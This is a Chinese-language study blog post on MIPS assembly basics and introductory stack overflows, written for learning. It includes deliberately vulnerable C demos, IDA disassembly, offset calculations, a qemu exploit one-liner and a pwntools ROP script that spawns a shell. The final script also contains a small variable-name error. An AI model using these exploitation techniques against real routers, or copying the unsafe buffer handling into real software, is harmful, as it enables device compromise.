MIPS基础及栈溢出入门(一)

依照《揭秘家用路由器0day漏洞挖掘技术》一书,回顾了MIPS基础,简单了解了MIPS栈溢出。

MIPS汇编基础

指令集

MIPS指令集的指令特点

  • 指令长度为固定4字节。
  • 内存中的数据访问(load/store)严格对齐。
  • 流水线效应。MIPS采用了高度的流水线,其中一个重要的效应时分支延迟效应。

与x86指令集的差异

  1. 栈操作:MIPS32架构堆栈与x86架构一样,都是向低地址增长的。但在MIP32架构中没有EBP(栈底指针),进入一个函数时,需要将当前栈指针向下移动n比特,这个大小为n比特的存储空间就是此函数的Stack Frame的存储区域。此后,栈指针便不再移动,只能在函数返回时将栈指针加上这个偏移量恢复栈现场。由于不能随便移动栈指针,所以寄存器压栈和出栈时都必须指定偏移量。没有堆栈直接操作的指令,也就是没有push和pop指令。
  2. 调用:如果函数A调用函数B,调用者函数(函数A)会在自己的栈顶预留一部分空间来保存被调用者(函数B)的参数,我们称之为调用参数空间。
  3. 参数传递方式:前4个传入的参数通过$a0~$a3传递。有些函数的参数可能会超过4个,此时,多余的参数会被放入调用参数空间。x86架构32位下所有的参数都是通过堆栈传递的。
  4. 返回地址:在x86架构中,使用call命令调用函数时,会先将当前执行位置压入堆栈,MIPS的调用指令把函数的返回地址直接存入$RA寄存器而不是堆栈中。

寄存器

编号 寄存器名称 描述
$0 $zero 第0号寄存器,其值始终为0
$1 $at 保留寄存器
$2-$3 $v0-$v1 values,保存表达式或函数返回结果
$4-$7 $a0-$a3 argument,作为函数的前四个参数
$8-$15 $t0-$t7 temporaries,供汇编程序使用的临时寄存器
$16-$23 $s0-$s7 saved values,子函数使用时需先保存原寄存器的值
$24-$25 $t8-$t9 temporaries,供汇编程序使用的临时寄存器,补充$t0-$t7
$26-$27 $k0-$k1 保留,中断处理函数使用
$28 $gp global pointer,全局指针
$29 $sp stack pointer,堆栈指针,指向堆栈的栈顶
$30 $fp frame pointer,保存栈指针
$31 $ra return address,返回地址

叶子函数与非叶子函数

  • 叶子函数:当前函数不调用其他函数。
  • 非叶子函数:当前函数调用其他函数。
    其中,函数调用的过程为:
  1. 当A函数调用B函数时,函数调用指令复制当前的$PC寄存器的值到$RA寄存器,即当前$RA寄存器的值就是当前函数执行结束的返回地址,然后跳转B并执行。
  2. 程序跳转到函数B以后,如果函数B时非叶子节点,则函数B首先会把函数A的返回地址(此时返回函数A的地址存放在$RA寄存器中)存入堆栈,否则返回函数A的地址仍然存放在$RA中。
  3. 函数返回时,如果函数B是叶子函数,则直接使用“jr $ra”指令返回函数A,这里的寄存器$RA指向返回地址。如果函数B是非叶子函数,返回过程相对来说复杂一点,函数B先从堆栈中取出被保存在堆栈上的返回地址,然后将返回地址存入寄存器$RA,再使用“jr $ra”指令返回函数A。

栈溢出

demo

cat demo.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>

void vuln(){
system("/bin/sh");
}

void has_stack(char *src){
char dst[20] = {0};
strcpy(dst,src);
printf("copy success\n");
}

void main(int argc,char *argv[]){
has_stack(argv[1]);
}

进行编译

mipsel-linux-gcc -static demo.c -o demo

在IDA中查看相关函数信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:00400470  # int __cdecl main(int argc, const char **argv, const char **envp)
.text:00400470 .globl main
.text:00400470 main: # DATA XREF: _ftext+18↑o
.text:00400470 # .got:main_ptr↓o
.text:00400470
.text:00400470 var_8 = -8
.text:00400470 var_4 = -4
.text:00400470 arg_0 = 0
.text:00400470 arg_4 = 4
.text:00400470
.text:00400470 addiu $sp, -0x20
.text:00400474 sw $ra, 0x20+var_4($sp)
.text:00400478 sw $fp, 0x20+var_8($sp)
.text:0040047C move $fp, $sp
.text:00400480 sw $a0, 0x20+arg_0($fp)
.text:00400484 sw $a1, 0x20+arg_4($fp)
.text:00400488 lw $v0, 0x20+arg_4($fp)
.text:0040048C addiu $v0, 4
.text:00400490 lw $v0, 0($v0)
.text:00400494 move $a0, $v0
.text:00400498 jal has_stack
.text:0040049C nop
.text:004004A0 nop
.text:004004A4 move $sp, $fp
.text:004004A8 lw $ra, 0x20+var_4($sp)
.text:004004AC lw $fp, 0x20+var_8($sp)
.text:004004B0 addiu $sp, 0x20
.text:004004B4 jr $ra
.text:004004B8 nop
.text:004004B8 # End of function main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
.text:004003E4                 .globl has_stack
.text:004003E4 has_stack: # CODE XREF: main+28↓p
.text:004003E4
.text:004003E4 var_28 = -0x28
.text:004003E4 buf = -0x20
.text:004003E4 var_1C = -0x1C
.text:004003E4 var_18 = -0x18
.text:004003E4 var_14 = -0x14
.text:004003E4 var_10 = -0x10
.text:004003E4 saved_fp = -8
.text:004003E4 saved_ra = -4
.text:004003E4 arg_0 = 0
.text:004003E4
.text:004003E4 addiu $sp, -0x38
.text:004003E8 sw $ra, 0x38+saved_ra($sp)
.text:004003EC sw $fp, 0x38+saved_fp($sp)
.text:004003F0 move $fp, $sp
.text:004003F4 li $gp, 0x4271E0
.text:004003FC sw $gp, 0x38+var_28($sp)
.text:00400400 sw $a0, 0x38+arg_0($fp)
.text:00400404 sw $zero, 0x38+buf($fp)
.text:00400408 sw $zero, 0x38+var_1C($fp)
.text:0040040C sw $zero, 0x38+var_18($fp)
.text:00400410 sw $zero, 0x38+var_14($fp)
.text:00400414 sw $zero, 0x38+var_10($fp)
.text:00400418 lw $a1, 0x38+arg_0($fp)
.text:0040041C addiu $v0, $fp, 0x38+buf
.text:00400420 move $a0, $v0
.text:00400424 la $v0, strcpy
.text:00400428 move $t9, $v0
.text:0040042C bal strcpy
.text:00400430 nop
.text:00400434 lw $gp, 0x38+var_28($fp)
.text:00400438 lui $v0, 0x41
.text:0040043C addiu $a0, $v0, (aCopySuccess - 0x410000) # "copy success"
.text:00400440 la $v0, puts
.text:00400444 move $t9, $v0
.text:00400448 bal puts
.text:0040044C nop
.text:00400450 lw $gp, 0x38+var_28($fp)
.text:00400454 nop
.text:00400458 move $sp, $fp
.text:0040045C lw $ra, 0x38+saved_ra($sp)
.text:00400460 lw $fp, 0x38+saved_fp($sp)
.text:00400464 addiu $sp, 0x38
.text:00400468 jr $ra
.text:0040046C nop
.text:0040046C # End of function has_stack

has_stack函数中,由于没有对参数src的长度进行限制,如果src长度足够,则能够覆盖栈上面存储的$RA寄存器的值,从而返回vuln函数以getshell。
通过观察栈来获取bufsaved_ra的偏移。
offset = saved_ra - buf = -4 + 0x20 = 28vuln的地址为0x00400390
通过exp:

qemu-mipsel demo `python -c "print 'a'*28+'\x90\x03\x40\x00'"`

运行之后成功getshell。

stack_vuln

《揭秘家用路由器0day漏洞挖掘技术》一书中的一个栈溢出demo。
源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void do_system(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}

void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;

if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;

if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!n");
exit(1);
}
ch=fgetc(fp);

while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = '\x00';

if(!strcmp(buf,"adminpwd\n"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!\n");
}
fclose(fp);
}

可以看出,溢出发生在main函数中,且main函数为非叶子函数,故返回地址存放在上面,能够通过覆盖该地址来控制程序执行流。
首先进行编译。

mipsel-linux-gcc -static stack_vuln.c -o stack_vuln

放入IDA查看相关函数信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
.text:004003E8  # int __cdecl main(int argc, const char **argv, const char **envp)
.text:004003E8 .globl main
.text:004003E8 main: # DATA XREF: _ftext+18↑o
.text:004003E8 # .got:main_ptr↓o
.text:004003E8
.text:004003E8 var_1C0 = -0x1C0
.text:004003E8 var_1B8 = -0x1B8
.text:004003E8 var_1B4 = -0x1B4
.text:004003E8 var_1B0 = -0x1B0
.text:004003E8 var_1AC = -0x1AC
.text:004003E8 var_1A8 = -0x1A8
.text:004003E8 var_1A4 = -0x1A4
.text:004003E8 var_1A0 = -0x1A0
.text:004003E8 var_A0 = -0xA0
.text:004003E8 var_6C = -0x6C
.text:004003E8 var_8 = -8
.text:004003E8 var_4 = -4
.text:004003E8
.text:004003E8 addiu $sp, -0x1D0
.text:004003EC sw $ra, 0x1D0+var_4($sp)
.text:004003F0 sw $fp, 0x1D0+var_8($sp)
.text:004003F4 move $fp, $sp
.text:004003F8 li $gp, 0x4291E0
.text:00400400 sw $gp, 0x1D0+var_1C0($sp)
.text:00400404 addiu $v1, $fp, 0x1D0+var_1A0
.text:00400408 li $v0, 0x100
.text:0040040C move $a2, $v0
.text:00400410 move $a1, $zero
.text:00400414 move $a0, $v1
.text:00400418 la $v0, memset
.text:0040041C move $t9, $v0
.text:00400420 bal memset
.text:00400424 nop
.text:00400428 lw $gp, 0x1D0+var_1C0($fp)
.text:0040042C sw $zero, 0x1D0+var_1B4($fp)
.text:00400430 sw $zero, 0x1D0+var_1B0($fp)
.text:00400434 addiu $v0, $fp, 0x1D0+var_A0
.text:00400438 move $a1, $v0
.text:0040043C lui $v0, 0x41
.text:00400440 addiu $a0, $v0, (aPasswd - 0x410000) # "passwd"
.text:00400444 la $v0, stat
.text:00400448 move $t9, $v0
.text:0040044C bal stat
.text:00400450 nop

通过计算得到偏移:

offset = saved_ra - buf = -0x4 - (-0x1A0) = 0x19c

我们要如何覆盖saved_ra从而控制执行流呢,这里用到了一个类似于ROPgadget的工具,mipsrop,用于寻找mips中的ROP链。
该工具可以在以下链接获得:https://github.com/devttys0/ida/tree/master/plugins/mipsrop

Python>mipsrop.stackfinders()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x004038D0  |  addiu $a1,$sp,0x58+var_40                           |  jr    0x58+var_4($sp)                 |
----------------------------------------------------------------------------------------------------------------
Found 1 matching gadgets

获得以上gadget
do_system函数中,只使用第二个参数,所以我们只需调整$a1即可执行system($a1)
在此需要修改的是:0x58+var_40位置修改为/bin/sh0x58+var_4位置修改为do_system函数地址。
使用以下脚本生成passwd文件即可获取shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

do_sys_addr = 0x00400390
gadget_addr = 0x004038D0
content = "A" * (0x1a0 - 0x4)
content += p32(gadget)
content += "A" * (0x58 - 0x40)
content += "/bin/sh\x00"
content = content.ljust(0x1a0 + 0x58 - 0x4, "A")
content += p32(do_sys_addr)

with open("passwd","wb") as f:
f.write(content)

以此passwd作为输入,即可getshell。